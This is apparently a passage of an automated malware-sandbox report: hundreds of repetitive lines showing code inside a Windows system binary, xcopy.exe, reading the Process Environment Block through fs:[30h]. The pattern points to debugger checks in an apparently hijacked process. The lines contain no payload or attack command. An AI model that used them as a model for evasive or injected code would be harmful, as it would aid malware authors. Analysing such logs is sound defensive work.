Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9240 mov eax, dword ptr fs:[00000030h] 22_2_038D9240
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9240 mov eax, dword ptr fs:[00000030h] 22_2_038D9240
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399B256 mov eax, dword ptr fs:[00000030h] 22_2_0399B256
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399B256 mov eax, dword ptr fs:[00000030h] 22_2_0399B256
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03968243 mov eax, dword ptr fs:[00000030h] 22_2_03968243
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03968243 mov ecx, dword ptr fs:[00000030h] 22_2_03968243
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E6259 mov eax, dword ptr fs:[00000030h] 22_2_038E6259
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391724D mov eax, dword ptr fs:[00000030h] 22_2_0391724D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DA250 mov eax, dword ptr fs:[00000030h] 22_2_038DA250
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03921270 mov eax, dword ptr fs:[00000030h] 22_2_03921270
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03921270 mov eax, dword ptr fs:[00000030h] 22_2_03921270
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03909274 mov eax, dword ptr fs:[00000030h] 22_2_03909274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D826B mov eax, dword ptr fs:[00000030h] 22_2_038D826B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 mov eax, dword ptr fs:[00000030h] 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E4260 mov eax, dword ptr fs:[00000030h] 22_2_038E4260
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E4260 mov eax, dword ptr fs:[00000030h] 22_2_038E4260
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E4260 mov eax, dword ptr fs:[00000030h] 22_2_038E4260
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AD26B mov eax, dword ptr fs:[00000030h] 22_2_039AD26B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AD26B mov eax, dword ptr fs:[00000030h] 22_2_039AD26B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03937190 mov eax, dword ptr fs:[00000030h] 22_2_03937190
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396019F mov eax, dword ptr fs:[00000030h] 22_2_0396019F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396019F mov eax, dword ptr fs:[00000030h] 22_2_0396019F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396019F mov eax, dword ptr fs:[00000030h] 22_2_0396019F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396019F mov eax, dword ptr fs:[00000030h] 22_2_0396019F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399C188 mov eax, dword ptr fs:[00000030h] 22_2_0399C188
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399C188 mov eax, dword ptr fs:[00000030h] 22_2_0399C188
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03920185 mov eax, dword ptr fs:[00000030h] 22_2_03920185
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DA197 mov eax, dword ptr fs:[00000030h] 22_2_038DA197
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DA197 mov eax, dword ptr fs:[00000030h] 22_2_038DA197
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DA197 mov eax, dword ptr fs:[00000030h] 22_2_038DA197
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039911A4 mov eax, dword ptr fs:[00000030h] 22_2_039911A4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039911A4 mov eax, dword ptr fs:[00000030h] 22_2_039911A4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039911A4 mov eax, dword ptr fs:[00000030h] 22_2_039911A4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039911A4 mov eax, dword ptr fs:[00000030h] 22_2_039911A4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FB1B0 mov eax, dword ptr fs:[00000030h] 22_2_038FB1B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391D1D0 mov eax, dword ptr fs:[00000030h] 22_2_0391D1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391D1D0 mov ecx, dword ptr fs:[00000030h] 22_2_0391D1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E1D0 mov eax, dword ptr fs:[00000030h] 22_2_0395E1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E1D0 mov eax, dword ptr fs:[00000030h] 22_2_0395E1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E1D0 mov ecx, dword ptr fs:[00000030h] 22_2_0395E1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E1D0 mov eax, dword ptr fs:[00000030h] 22_2_0395E1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E1D0 mov eax, dword ptr fs:[00000030h] 22_2_0395E1D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B51CB mov eax, dword ptr fs:[00000030h] 22_2_039B51CB
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A61C3 mov eax, dword ptr fs:[00000030h] 22_2_039A61C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A61C3 mov eax, dword ptr fs:[00000030h] 22_2_039A61C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039871F9 mov esi, dword ptr fs:[00000030h] 22_2_039871F9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E51ED mov eax, dword ptr fs:[00000030h] 22_2_038E51ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039101F8 mov eax, dword ptr fs:[00000030h] 22_2_039101F8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B61E5 mov eax, dword ptr fs:[00000030h] 22_2_039B61E5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039051EF mov eax, dword ptr fs:[00000030h] 22_2_039051EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398A118 mov ecx, dword ptr fs:[00000030h] 22_2_0398A118
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398A118 mov eax, dword ptr fs:[00000030h] 22_2_0398A118
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398A118 mov eax, dword ptr fs:[00000030h] 22_2_0398A118
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398A118 mov eax, dword ptr fs:[00000030h] 22_2_0398A118
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A0115 mov eax, dword ptr fs:[00000030h] 22_2_039A0115
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03910124 mov eax, dword ptr fs:[00000030h] 22_2_03910124
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB136 mov eax, dword ptr fs:[00000030h] 22_2_038DB136
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB136 mov eax, dword ptr fs:[00000030h] 22_2_038DB136
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB136 mov eax, dword ptr fs:[00000030h] 22_2_038DB136
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB136 mov eax, dword ptr fs:[00000030h] 22_2_038DB136
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E1131 mov eax, dword ptr fs:[00000030h] 22_2_038E1131
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E1131 mov eax, dword ptr fs:[00000030h] 22_2_038E1131
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9148 mov eax, dword ptr fs:[00000030h] 22_2_038D9148
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9148 mov eax, dword ptr fs:[00000030h] 22_2_038D9148
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9148 mov eax, dword ptr fs:[00000030h] 22_2_038D9148
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9148 mov eax, dword ptr fs:[00000030h] 22_2_038D9148
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B5152 mov eax, dword ptr fs:[00000030h] 22_2_039B5152
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03978158 mov eax, dword ptr fs:[00000030h] 22_2_03978158
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03974144 mov eax, dword ptr fs:[00000030h] 22_2_03974144
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03974144 mov eax, dword ptr fs:[00000030h] 22_2_03974144
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03974144 mov ecx, dword ptr fs:[00000030h] 22_2_03974144
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03974144 mov eax, dword ptr fs:[00000030h] 22_2_03974144
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03974144 mov eax, dword ptr fs:[00000030h] 22_2_03974144
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E6154 mov eax, dword ptr fs:[00000030h] 22_2_038E6154
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E6154 mov eax, dword ptr fs:[00000030h] 22_2_038E6154
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DC156 mov eax, dword ptr fs:[00000030h] 22_2_038DC156
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E7152 mov eax, dword ptr fs:[00000030h] 22_2_038E7152
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03979179 mov eax, dword ptr fs:[00000030h] 22_2_03979179
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 mov eax, dword ptr fs:[00000030h] 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DD08D mov eax, dword ptr fs:[00000030h] 22_2_038DD08D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390D090 mov eax, dword ptr fs:[00000030h] 22_2_0390D090
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390D090 mov eax, dword ptr fs:[00000030h] 22_2_0390D090
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E208A mov eax, dword ptr fs:[00000030h] 22_2_038E208A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391909C mov eax, dword ptr fs:[00000030h] 22_2_0391909C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E5096 mov eax, dword ptr fs:[00000030h] 22_2_038E5096
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A60B8 mov eax, dword ptr fs:[00000030h] 22_2_039A60B8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A60B8 mov ecx, dword ptr fs:[00000030h] 22_2_039A60B8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039780A8 mov eax, dword ptr fs:[00000030h] 22_2_039780A8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B50D9 mov eax, dword ptr fs:[00000030h] 22_2_039B50D9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039620DE mov eax, dword ptr fs:[00000030h] 22_2_039620DE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039090DB mov eax, dword ptr fs:[00000030h] 22_2_039090DB
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov ecx, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov ecx, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov ecx, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov ecx, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 mov eax, dword ptr fs:[00000030h] 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395D0C0 mov eax, dword ptr fs:[00000030h] 22_2_0395D0C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395D0C0 mov eax, dword ptr fs:[00000030h] 22_2_0395D0C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039220F0 mov ecx, dword ptr fs:[00000030h] 22_2_039220F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E80E9 mov eax, dword ptr fs:[00000030h] 22_2_038E80E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DA0E3 mov ecx, dword ptr fs:[00000030h] 22_2_038DA0E3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039050E4 mov eax, dword ptr fs:[00000030h] 22_2_039050E4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039050E4 mov ecx, dword ptr fs:[00000030h] 22_2_039050E4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039660E0 mov eax, dword ptr fs:[00000030h] 22_2_039660E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DC0F0 mov eax, dword ptr fs:[00000030h] 22_2_038DC0F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03964000 mov ecx, dword ptr fs:[00000030h] 22_2_03964000
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE016 mov eax, dword ptr fs:[00000030h] 22_2_038FE016
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE016 mov eax, dword ptr fs:[00000030h] 22_2_038FE016
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE016 mov eax, dword ptr fs:[00000030h] 22_2_038FE016
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE016 mov eax, dword ptr fs:[00000030h] 22_2_038FE016
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A903E mov eax, dword ptr fs:[00000030h] 22_2_039A903E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A903E mov eax, dword ptr fs:[00000030h] 22_2_039A903E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A903E mov eax, dword ptr fs:[00000030h] 22_2_039A903E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A903E mov eax, dword ptr fs:[00000030h] 22_2_039A903E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DA020 mov eax, dword ptr fs:[00000030h] 22_2_038DA020
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DC020 mov eax, dword ptr fs:[00000030h] 22_2_038DC020
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B052 mov eax, dword ptr fs:[00000030h] 22_2_0390B052
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398705E mov ebx, dword ptr fs:[00000030h] 22_2_0398705E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398705E mov eax, dword ptr fs:[00000030h] 22_2_0398705E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03966050 mov eax, dword ptr fs:[00000030h] 22_2_03966050
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E2050 mov eax, dword ptr fs:[00000030h] 22_2_038E2050
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390C073 mov eax, dword ptr fs:[00000030h] 22_2_0390C073
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395D070 mov ecx, dword ptr fs:[00000030h] 22_2_0395D070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396106E mov eax, dword ptr fs:[00000030h] 22_2_0396106E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B5060 mov eax, dword ptr fs:[00000030h] 22_2_039B5060
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov ecx, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1070 mov eax, dword ptr fs:[00000030h] 22_2_038F1070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F78A mov eax, dword ptr fs:[00000030h] 22_2_0399F78A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390D7B0 mov eax, dword ptr fs:[00000030h] 22_2_0390D7B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E07AF mov eax, dword ptr fs:[00000030h] 22_2_038E07AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B37B6 mov eax, dword ptr fs:[00000030h] 22_2_039B37B6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF7BA mov eax, dword ptr fs:[00000030h] 22_2_038DF7BA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396F7AF mov eax, dword ptr fs:[00000030h] 22_2_0396F7AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396F7AF mov eax, dword ptr fs:[00000030h] 22_2_0396F7AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396F7AF mov eax, dword ptr fs:[00000030h] 22_2_0396F7AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396F7AF mov eax, dword ptr fs:[00000030h] 22_2_0396F7AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396F7AF mov eax, dword ptr fs:[00000030h] 22_2_0396F7AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039697A9 mov eax, dword ptr fs:[00000030h] 22_2_039697A9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EC7C0 mov eax, dword ptr fs:[00000030h] 22_2_038EC7C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E57C0 mov eax, dword ptr fs:[00000030h] 22_2_038E57C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E57C0 mov eax, dword ptr fs:[00000030h] 22_2_038E57C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E57C0 mov eax, dword ptr fs:[00000030h] 22_2_038E57C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039607C3 mov eax, dword ptr fs:[00000030h] 22_2_039607C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038ED7E0 mov ecx, dword ptr fs:[00000030h] 22_2_038ED7E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E47FB mov eax, dword ptr fs:[00000030h] 22_2_038E47FB
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E47FB mov eax, dword ptr fs:[00000030h] 22_2_038E47FB
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039027ED mov eax, dword ptr fs:[00000030h] 22_2_039027ED
